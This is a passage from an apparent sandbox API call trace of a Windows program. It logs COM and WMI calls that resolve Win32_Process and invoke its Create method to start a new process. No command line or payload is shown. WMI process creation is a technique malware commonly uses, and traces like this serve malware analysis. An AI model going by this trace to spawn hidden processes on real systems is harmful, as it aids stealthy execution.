puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0068.072] WbemDefPath:IWbemPath:GetText (in: This=0x119c3e0, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0068.072] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c4a0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0068.072] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0068.072] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0068.072] WbemDefPath:IWbemPath:GetText (in: This=0x119c3e0, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0068.072] WbemDefPath:IWbemPath:GetText (in: This=0x119c3e0, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0068.073] IWbemServices:ExecMethod (in: This=0x1bea7f80, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf19ce0, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf18f70, ppCallResult=0x0) returned 0x0 [0068.248] IWbemClassObject:Get (in: This=0x1bf18f70, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29508f8*=0, plFlavor=0x29508fc*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf84, varVal2=0x0), pType=0x29508f8*=19, plFlavor=0x29508fc*=0) returned 0x0 [0068.249] IWbemClassObject:Get (in: This=0x1bf18f70, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29508f8*=19, plFlavor=0x29508fc*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf84, varVal2=0x0), pType=0x29508f8*=19, plFlavor=0x29508fc*=0) returned 0x0 [0068.249] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0068.249] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0068.249] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0068.250] IUnknown:Release (This=0x111f638) returned 0x1 [0068.251] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf2b200) returned 0x0 [0068.251] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2b200, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0068.251] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2b200, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x119bea0) returned 0x0 [0068.252] WbemDefPath:IUnknown:Release (This=0x1bf2b200) returned 0x0 [0068.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x119bea0) returned 0x0 [0068.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0068.252] WbemDefPath:IUnknown:AddRef (This=0x119bea0) returned 0x3 [0068.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0068.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0068.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf2b140) returned 0x0 [0068.252] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2b140, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0068.252] WbemDefPath:IUnknown:Release (This=0x1bf2b140) returned 0x3 [0068.252] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0068.252] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0068.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0068.252] WbemDefPath:IUnknown:Release (This=0x119bea0) returned 0x2 [0068.252] WbemDefPath:IUnknown:Release (This=0x119bea0) returned 0x1 [0068.252] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0068.252] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0068.252] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bea0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x119bea0) returned 0x0 [0068.253] WbemDefPath:IUnknown:AddRef (This=0x119bea0) returned 0x3 [0068.253] WbemDefPath:IUnknown:Release (This=0x119bea0) returned 0x2 [0068.253] WbemDefPath:IWbemPath:SetText (This=0x119bea0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0068.253] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bea0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0068.253] WbemDefPath:IWbemPath:GetText (in: This=0x119bea0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0068.253] WbemDefPath:IWbemPath:GetText (in: This=0x119bea0, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0068.253] WbemDefPath:IWbemPath:GetInfo (in: This=0x119bea0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0068.253] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bea0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0068.253] WbemDefPath:IWbemPath:GetInfo (in: This=0x119bea0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0068.253] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0068.253] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0068.253] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0068.253] IUnknown:Release (This=0x111f638) returned 0x1 [0068.255] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf2b180) returned 0x0 [0068.255] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2b180, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0068.255] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2b180, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x119bd20) returned 0x0 [0068.255] WbemDefPath:IUnknown:Release (This=0x1bf2b180) returned 0x0 [0068.255] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x119bd20) returned 0x0 [0068.255] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0068.256] WbemDefPath:IUnknown:AddRef (This=0x119bd20) returned 0x3 [0068.256] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0068.256] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0068.256] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf2b0c0) returned 0x0 [0068.256] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2b0c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0068.256] WbemDefPath:IUnknown:Release (This=0x1bf2b0c0) returned 0x3 [0068.256] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0068.256] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0068.256] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0068.256] WbemDefPath:IUnknown:Release (This=0x119bd20) returned 0x2 [0068.256] WbemDefPath:IUnknown:Release (This=0x119bd20) returned 0x1 [0068.256] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0068.256] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0068.256] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bd20, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x119bd20) returned 0x0 [0068.256] WbemDefPath:IUnknown:AddRef (This=0x119bd20) returned 0x3 [0068.256] WbemDefPath:IUnknown:Release (This=0x119bd20) returned 0x2 [0068.256] WbemDefPath:IWbemPath:SetText (This=0x119bd20, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0068.256] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bd20, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0068.256] WbemDefPath:IWbemPath:GetText (in: This=0x119bd20, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0068.256] WbemDefPath:IWbemPath:GetText (in: This=0x119bd20, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0068.256] WbemDefPath:IWbemPath:GetInfo (in: This=0x119bd20, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0068.256] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bd20, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0068.256] WbemDefPath:IWbemPath:GetInfo (in: This=0x119bd20, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0068.256] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bd20, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0068.257] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0068.257] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0068.257] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0068.257] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0068.257] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0068.257] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0068.257] IUnknown:Release (This=0x111f638) returned 0x1 [0068.269] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bf2ada0) returned 0x0 [0068.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2ada0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0068.270] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2ada0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x119bc60) returned 0x0 [0068.270] WbemDefPath:IUnknown:Release (This=0x1bf2ada0) returned 0x0 [0068.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x119bc60) returned 0x0 [0068.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0068.270] WbemDefPath:IUnknown:AddRef (This=0x119bc60) returned 0x3 [0068.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0068.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0068.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bf2af20) returned 0x0 [0068.270] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2af20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0068.270] WbemDefPath:IUnknown:Release (This=0x1bf2af20) returned 0x3 [0068.271] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0068.271] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0068.271] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0068.271] WbemDefPath:IUnknown:Release (This=0x119bc60) returned 0x2 [0068.271] WbemDefPath:IUnknown:Release (This=0x119bc60) returned 0x1 [0068.271] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0068.271] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0068.271] WbemDefPath:IUnknown:QueryInterface (in: This=0x119bc60, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x119bc60) returned 0x0 [0068.271] WbemDefPath:IUnknown:AddRef (This=0x119bc60) returned 0x3 [0068.271] WbemDefPath:IUnknown:Release (This=0x119bc60) returned 0x2 [0068.271] WbemDefPath:IWbemPath:SetText (This=0x119bc60, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0068.271] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119bc60, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0068.271] WbemDefPath:IWbemPath:GetText (in: This=0x119bc60, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0068.271] WbemDefPath:IWbemPath:GetText (in: This=0x119bc60, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0068.271] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0068.271] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0068.271] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0068.271] IUnknown:Release (This=0x111f638) returned 0x1 [0068.272] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bf2ae60) returned 0x0 [0068.272] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2ae60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0068.272] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf2ae60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, 